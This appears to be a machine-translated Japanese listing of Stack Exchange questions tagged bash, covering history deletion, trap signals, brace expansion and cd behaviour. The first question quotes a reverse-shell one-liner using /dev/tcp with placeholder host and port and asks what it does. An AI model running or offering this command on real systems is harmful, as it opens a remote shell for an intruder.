タグ付けされた質問 「bash」

他のBourne / POSIXシェルとは対照的に、GNUのBourne Again SHellに固有の質問。Unixシェル全般に関する質問については、代わりに/ shellタグを使用してください。

1
bashの意味-i>&/ dev / tcp / HOST / PORT 0>&1?
私は試した bash -i >& /dev/tcp/HOST/PORT 0>&1 ただし、ファイアウォールの背後では機能しないようです。このコードは実際に何をしますか、どのポートが転送され、ファイアウォールの背後で動作するでしょうか?


1
このbashコマンドラインをクリアするために12文字を挿入する必要があるのはなぜですか?
xtermターミナル(80列x 24行)を開き、を実行して$ bash --norc --noprofile、$ ttyターミナルのファイル名を取得します/dev/pts/9。出力はです。 私が実行する別の端末から: $ printf foo >/dev/pts/9 fooは、最初の端末のシェルコマンドラインに出力されます。 を押しC-uて実行するとunix-line-discard(で指定された関数の名前$ bind -P | grep -i c-u)、foo削除されません。 11個のスペースを挿入してを押すC-uと、スペースは削除されますが削除されませんfoo。 12個のスペースを挿入してを押すC-uと、スペースも削除されますfoo。 カーソルが直後にあるfooときに押すと削除できないのはなぜC-uですか?また、削除するには12文字を挿入する必要があるのはなぜですか? 環境: $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial $ bash --version | head -n1 GNU bash, …

3
systemctl \ {restart、status} \ sshd \;が実行されない理由 作業?
エコーを通過した場合の上記コマンドの出力は次のとおりです。 # echo systemctl\ {restart,status}\ sshd\; systemctl restart sshd; systemctl status sshd; 出力を端末に貼り付けても、コマンドは機能します。しかし、コマンドを直接実行しようとすると、次のようになります。 # systemctl\ {restart,status}\ sshd\; bash: systemctl restart sshd;: command not found... 2つの質問があります。 この置換と拡張の方法は正確に何と呼ばれていますか?(そうすれば、私はそれを研究し、それとそれを適切に使用する方法についてさらに学ぶことができます)。 ここで何を間違えましたか?なぜ機能しないのですか?

4
bash履歴を削除するだけでは不十分なのはなぜですか?
以前は、bashの履歴を削除するだけでbashの履歴をクリアできると思っていましたが、昨日、キーボードがキーボードの右側をめちゃくちゃになっていて、コンピューターに戻ったときに1か月前に入力したものを見て、それを引き起こしたものを探して狂ったようにすべてのキーを押します。UPARROWキーは、.bash_historyを削除した後でも私のbash履歴を表示します。 bash履歴を実際に削除するにはどうすればよいですか?
14 linux  bash  bashrc 

2
EXIT、DEBUG、RETURN、およびERRシグナルはありますか?
trapbash の組み込みの構文は次のとおりです。 trap [-lp] [arg] [sigspec ...] ...それぞれsigspecが信号名または信号番号のいずれかです。シグナル名は大文字と小文字を区別せず、SIGプレフィックスはオプションです。 ... そのうちbashのマニュアルのポイントは、sigspecすることができEXIT、DEBUG、RETURN、とERR。それらは信号の名前ですか? 以下に示すすべての信号名のリストでそれらを見つけられないのはなぜSIGですか? それらはbashシェルにのみ関連し、Linux OSには関連していませんか?それらはbashシェル信号ですか?Linux OS信号ではありませんか? $ trap -l 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT 17) …
14 bash  signals 

1
bashリリースでの複数の引数を持つcdの異なる動作
ここに私を困惑させている何かを投稿します。アプリケーションサーバーをJessieからStretchにアップグレードすると、bashスクリプトが破損しました。 調査の結果、cdコマンドの動作の変更に限定しました。ここでは、スクリプトが実行していることが良いアイデアであるかどうか、または改善できるかどうかについては、行動の変更/変更の認識の意識に焦点を当てています。 ジェシー $echo *-* xxxx-1.0b xxxx-run $cd *-* cdは動作し、最初のディレクトリにcdします。実際には、*-runは同じディレクトリへのシンボリックリンクです。 ストレッチ $echo *-* xxxx-1.0b xxxx-run $cd *-* bash: cd: too many arguments bash Jessieでは4.3.30(1)、Stretchでは4.4.12(1)です。 なぜジェシーとストレッチの間の行動の変化ですか?
14 bash  cd-command 

3
パイプBからD?-A && B || C | D
A && B || C | DBまたはCがDにパイプされるように、コマンド構造を書き直す方法はありますか? 現在のコマンドでは、Bのみ、またはCとDの両方が実行されます。 例えば:
14 bash  pipe 

3
ファイルの異なる行を異なる変数に読み込む方法は?
テキストファイルのさまざまな行をさまざまな変数に読み取りたいです。例えば input.txt: line1 foo foobar bar line2 bar line3 foo line4 foobar bar 私はこの結果を変数に格納したいvar1、var2、var3及びvar4その結果 var1=line1 foo foobar bar var2=line2 bar 等々。 誰かがそれがどのように行われたか教えてください。evalforループで使用しようとしました。うまくいかないようです。
14 bash 

3
bashのファイル名展開メカニズムからいくつかのファイルを除外するにはどうすればよいですか?
ルートディレクトリにubuntuファイルシステムディレクトリがあり、誤って何百ものファイルをルートディレクトリにコピーしました。 私は直感的にファイルシステムを除外してコピーされたファイルを削除しようとしました rm -rf !{bin,sbin,usr,opt,lib,var,etc,srv,libx32,lib64,run,boot,proc,sys,dev} ./. 動作しません。全体を削除しながらいくつかのディレクトリを除外する適切な方法は何ですか? 編集:何をすべきかを知らずに、ここでコマンドを実行しないでください!

4
Unix端末でexitコマンドはどのように機能しますか?
誰かがexitコマンドがUnixターミナルでどのように機能するか説明してもらえますか? 検索man exit とはwhich exit有用ではなかったと私は、次の問題に遭遇しています。 新しいRed HatシステムにAnacondaとPyCharmのアドオンパッケージをインストールした後exit、ターミナルセッションを終了するように呼び出すと、一連のエラーが発生し、ターミナルが期待どおりに終了することに気付きました。エラーは、私の呼び出しがすることを示唆しているように見えるexitの呼び出しをトリガーされるrm ~/anaconda3/.../と、rm ~/PyCharm/....エラーを引き起こし、。すべてのディレクトリは、これらのプログラム用にダウンロードしたパッケージの場所(numpy)でもあるように見えます。以下を参照してください。 $ exit rm: cannot remove ‘~/anaconda3/lib/python3.5/site-packages/numpy/core’: Is a directory ... ... 解決済み 私の~/.bash_logoutファイルでは、行がありました find ~ -xdev ( -name *~ -o -name .*~ -o -name core ) -exec \rm '{}' \; この行をコメントアウトすると、エラーメッセージが停止しました。すべての一時ファイルを検索して削除するようです。ただし、「core」という単語が含まれるディレクトリを検索し、それらも削除しようとします。これはシステムのプリセットです。

2
bashスクリプトで関数にパラメーターを渡す方法は?
多くの異なる変数を持つスクリプトから呼び出すことができる関数を書きたいです。いくつかの理由で、これを行うのに多くの問題を抱えています。例私が読んだことは常にグローバル変数を使用するだけですが、それは私が見ることができる限り私のコードをそれほど読みやすくしません。 使用例: #!/bin/bash #myscript.sh var1=$1 var2=$2 var3=$3 var4=$4 add(){ result=$para1 + $para2 } add $var1 $var2 add $var3 $var4 # end of the script ./myscript.sh 1 2 3 4 $1関数でなどを使用してみましたが、スクリプト全体が呼び出されたグローバルなものが必要になります。基本的に私が探しているようなものである$1、$2とそうではなく、関数のローカルコンテキストで。ご存じのように、関数は適切な言語で動作します。


1
シェルスクリプトがシグナル9で殺されたかどうかを知る方法はありますか
殺され続けるbashスクリプト(javaプログラムから呼び出される)があります。私はいつもsignal 15withをキャッチしますtrapが、それから私が疑う他のシグナルが来signal 9ますが、それが本当にあるかどうかについては基本的に盲目signal 9です。 私はあなたができないことを知っているtrap signal 9のでsignal 9、私のシェルスクリプトを殺すかどうかを知ることができる他の方法はありますか?

3
bash:壊した[[<]]
私はbashスクリプトを書いていて、突然この動作が始まりました: [[ 1 &lt; 2 ]]; echo $? # outputs 0 [[ 2 &lt; 13 ]]; echo $? # outputs 1 しかし-lt健全に動作します: [[ 1 -lt 2 ]]; echo $? # outputs 0 [[ 2 -lt 13 ]]; echo $? # outputs 0 &lt;何とか誤って上書きしましたか? この動作をテストするために作成したスクリプトは次のとおりです。 #!/bin/bash for a in {1..5} do …
14 bash  test 

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.